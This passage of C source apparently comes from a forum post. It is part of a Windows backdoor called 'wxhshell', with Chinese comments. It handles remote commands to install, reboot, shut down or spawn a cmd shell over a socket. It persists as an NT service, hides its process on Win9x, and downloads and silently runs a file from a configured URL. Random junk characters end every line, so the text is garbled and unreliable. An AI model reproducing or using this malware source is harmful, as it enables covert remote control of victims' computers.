  case '?': { P3FpU<OBwp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2m}]z.w#  
    break; &|FG#.2yw  
  } yXl.Gq>]{  
  // 安装 s/^= WV  
  case 'i': { DYk->)   
    if(Install()) /38Pp%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UiN ^x  
    else by ee-BU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'N/%SRk  
    break; JkEQ@x  
    } -;.fU44O[#  
  // 卸载 }(O kl1  
  case 'r': { 1L9 <1  
    if(Uninstall()) 8k% :w0H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^w}Ib']X  
    else o"CqVRR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yf>,oNIAg  
    break; 1@@]h!>k:  
    } ~;a* Oxt  
  // 显示 wxhshell 所在路径 )p](*Z^  
  case 'p': { GDe$p;#"9g  
    char svExeFile[MAX_PATH]; >%A=b}VS  
    strcpy(svExeFile,"\n\r"); Y{{,62D  
      strcat(svExeFile,ExeFile); l%w|f`B:  
        send(wsh,svExeFile,strlen(svExeFile),0); B|w}z1.  
    break; $jL.TraV7  
    } uty]-k   
  // 重启 L )"w-,zy  
  case 'b': { RS=7W._W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fP*C*4#X  
    if(Boot(REBOOT)) KDzIarC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7cSvAX0Z.  
    else { 0drc^rj !  
    closesocket(wsh); >CA1Ub&ls  
    ExitThread(0); 9{&x-ugM  
    } 49>yIuG  
    break; +eat,3Ji  
    }  %tjEVQa  
  // 关机 Q'LU?>N)/  
  case 'd': { , >6X_XJQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); } trMQ  
    if(Boot(SHUTDOWN)) ld0WZj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A#\X-8/  
    else { xk<0QYv   
    closesocket(wsh); Jx,s.Z0@7,  
    ExitThread(0); S!bvU2d  
    } '?[msX"aqa  
    break; s @9#hjv2  
    } 5PySCGv  
  // 获取shell %|||M=akk  
  case 's': { 7] H4E.(l  
    CmdShell(wsh); C_;6-Q%V  
    closesocket(wsh); w%"q=V  
    ExitThread(0); Cq'r 'cBZ  
    break; lTNkmQ  
  } -UE-v  
  // 退出 c73ZEd+j  
  case 'x': { AS398L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #6nA^K}  
    CloseIt(wsh); IEj`:]d  
    break; R2gax;  
    } m{" zFD/  
  // 离开 fe,CY5B{  
  case 'q': { x6]?}Q>>D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8A qe'2IH=  
    closesocket(wsh); ^Y!`wp2vn  
    WSACleanup(); ^^mi@&ApLD  
    exit(1); $NSYQF%aO  
    break; O5"80z38[  
        } VzNH%  
  } r,\(Y@I  
  } *+ayC{!  
nfR5W~%*:  
  // 提示信息 PI?[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F.6SX (x  
} Z7/lFS'~N  
  } f+RDvgkKU  
?J AzN  
  return; 9w|q':<  
} 3H2'HO  
NiF*h~ q  
// shell模块句柄 n ~)%ou  
int CmdShell(SOCKET sock) (TsgVq]L  
{ -8: @xG2  
STARTUPINFO si; 7KLq-u-8  
ZeroMemory(&si,sizeof(si)); $$w 1%#F =  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NjLd-v"2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^YV[1~O  
PROCESS_INFORMATION ProcessInfo; < XU]%}o  
char cmdline[]="cmd"; :JmNy <  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yy5F'RY  
  return 0; UKdzJEhG  
} GWsFW[T?~  
`,z{70  
// 自身启动模式 mE1*F'0a  
int StartFromService(void) j@f(cRAf#  
{ #:X :~T  
typedef struct <U";V)  
{ 16U@o>O  
  DWORD ExitStatus; -rBj-4|"  
  DWORD PebBaseAddress; c_ i;'  
  DWORD AffinityMask; _`_$U MK;  
  DWORD BasePriority; od>.5{o  
  ULONG UniqueProcessId; XooAL0w  
  ULONG InheritedFromUniqueProcessId; z'o+3 zq^  
}   PROCESS_BASIC_INFORMATION; O@VmV>m  
Ki2_Nh>tM  
PROCNTQSIP NtQueryInformationProcess; VEk|lX;2  
.)Q'j94Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >jIc/yEYKI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y[# U/2  
Z~ (QV0}  
  HANDLE             hProcess; j&r5oD;  
  PROCESS_BASIC_INFORMATION pbi; ofV{SeD67  
^B7Aam  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^[6AOz+L  
  if(NULL == hInst ) return 0; )Lq FZ~B  
yWy9IWI["  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }_S]!AWz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E^G=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BRT2=}A  
(pl OV)  
  if (!NtQueryInformationProcess) return 0; V3S`8VI  
tBt\&{=|D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gvwel!6  
  if(!hProcess) return 0; !|]%^G  
bZ=d!)%P-{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G9]GK+@&F  
W#$rC<Jh]  
  CloseHandle(hProcess); asb") NfIm  
R[6&{&E:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !Wk "a7  
if(hProcess==NULL) return 0; ay2.C BF  
>dO^pDSs  
HMODULE hMod; Ag-*DH0  
char procName[255]; BQ(`MM@  
unsigned long cbNeeded; v "07H  
#F kdcY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y}8j_r  
>A6lX)  
  CloseHandle(hProcess); tO#y4<  
#Uo 9BM  
if(strstr(procName,"services")) return 1; // 以服务启动 <?!#QA  
3:r;(IaX  
  return 0; // 注册表启动 dCBJV  
} JyV"jL   
1]"b.[P>  
// 主模块 rTcH~s D`  
int StartWxhshell(LPSTR lpCmdLine) 4r %NtXAa  
{ <D?`*#K  
  SOCKET wsl; uKplPze?  
BOOL val=TRUE; u+N[Cgh  
  int port=0; }Q*8QV  
  struct sockaddr_in door; :%{8lanO  
;G ?_^ 0  
  if(wscfg.ws_autoins) Install(); K.k=\N  
+g*Ko@]m>  
port=atoi(lpCmdLine); ey:3F%  
\;~>AL*  
if(port<=0) port=wscfg.ws_port; -LF^u;s8&S  
Tg[+K+b  
  WSADATA data; qzXch["So  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F"_SCA?9?  
-Y YQnN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z5?xmffB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U_+>4zdm  
  door.sin_family = AF_INET; XWk^$"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gg_i:4F  
  door.sin_port = htons(port); TB9ukLG^<<  
NVQ IRQ.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r__uPyIMG/  
closesocket(wsl); ?>e-6*.  
return 1; lUDzf J}3  
} 0h* AtZv_  
<~]s+"oVc  
  if(listen(wsl,2) == INVALID_SOCKET) { 3]T2Zp&;  
closesocket(wsl); >n#Pq{7aF  
return 1; .Sm7na K  
} i=Y#kL~f  
  Wxhshell(wsl); 0-7xcF@s  
  WSACleanup(); #P1k5!u  
B>Mk "WjQ  
return 0; Y.ic=<0H  
+Oo>V~  
} x.!%'{+ {  
`6'fX[j5  
// 以NT服务方式启动 #=h~Lr'UH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q\}5q3  
{ hW]:CIqk  
DWORD   status = 0; 7 'N&jI   
  DWORD   specificError = 0xfffffff; rTQrlQ:@  
r'"H8>UZ%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uSH.c>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (JOge~U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1aKY+4/G  
  serviceStatus.dwWin32ExitCode     = 0; v]BN.SHE_  
  serviceStatus.dwServiceSpecificExitCode = 0; `uY77co6  
  serviceStatus.dwCheckPoint       = 0; (c_E*>c)  
  serviceStatus.dwWaitHint       = 0; ! fY'^Ya?  
:9 .ik  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t!v#rn[  
  if (hServiceStatusHandle==0) return; ]wZG4A  
PXWBc\  
status = GetLastError(); 0P z"[  
  if (status!=NO_ERROR) 2 g,UdG  
{ yy@g=<okt\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I;9>$?t[  
    serviceStatus.dwCheckPoint       = 0; cZi/bIh  
    serviceStatus.dwWaitHint       = 0; .z+ [3Oj_E  
    serviceStatus.dwWin32ExitCode     = status; @#;2P'KL  
    serviceStatus.dwServiceSpecificExitCode = specificError; t ?rUbN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y}QtgZEt  
    return; YjAwt;%-D  
  } du  Pzt  
U2seD5I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xwq {0jY  
  serviceStatus.dwCheckPoint       = 0; }}@x x&  
  serviceStatus.dwWaitHint       = 0; id'E_]r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J#"@~Q+a`@  
} ~0eJ6i  
r1f##  
// 处理NT服务事件,比如:启动、停止 !c/G'se  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s:CsUl|  
{ MqRpG5 .  
switch(fdwControl) Ny\p$v "p  
{ G[GSt`LVS`  
case SERVICE_CONTROL_STOP: X)P9f N~7  
  serviceStatus.dwWin32ExitCode = 0; q &#f#Ou  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pKMy:j  
  serviceStatus.dwCheckPoint   = 0; f!AcBfaLr  
  serviceStatus.dwWaitHint     = 0; =c:K(N qL  
  { 1$H*E~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z$"E|nRN  
  } qX>mOW^gT8  
  return; ')zdI]@ M  
case SERVICE_CONTROL_PAUSE: X|++K;rtfE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8tJB/P w`S  
  break; 0CX2dk"UB^  
case SERVICE_CONTROL_CONTINUE: K 0R<a~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?hHVawt  
  break; {oOzXc6o  
case SERVICE_CONTROL_INTERROGATE: hV_bm@f/y  
  break; %|Sh|\6A!  
}; lcO;3CrJ!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k  <SFl  
} >UlAae44  
5 FKb7  
// 标准应用程序主函数 #l2KJ7AMK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h)7hk*I  
{ =MMU(0 E  
/{il;/Vj  
// 获取操作系统版本 dz_~_|  
OsIsNt=GetOsVer(); H}vq2|MN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _[M*o0[@W  
Qu]F<H*Y|  
  // 从命令行安装 ;&=c@>!xP#  
  if(strpbrk(lpCmdLine,"iI")) Install(); vuN!7*d+  
:Aq==N_/2  
  // 下载执行文件 4E:kDl*@  
if(wscfg.ws_downexe) { NpqK+GO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hUR>NUK@8  
  WinExec(wscfg.ws_filenam,SW_HIDE); _!_%Afz  
} apmZ&Ab  
+9yV'd>U  
if(!OsIsNt) { , !0-;H.Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 {5`=){  
HideProc(); DNwqi"  
StartWxhshell(lpCmdLine); @,kR<1  
} )/Z% HBn  
else PLoD^3uG)  
  if(StartFromService()) ]fiAV|'^  
  // 以服务方式启动 jxeZ,w o  
  StartServiceCtrlDispatcher(DispatchTable); *e/8uFX  
else |&wwH&<[z  
  // 普通方式启动 {_[\k^98>  
  StartWxhshell(lpCmdLine); t:$^iUrx  
Ct@OS227x  
return 0; Lgr(j60s  
}
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只看该作者 1 发表于: 2006-10-10
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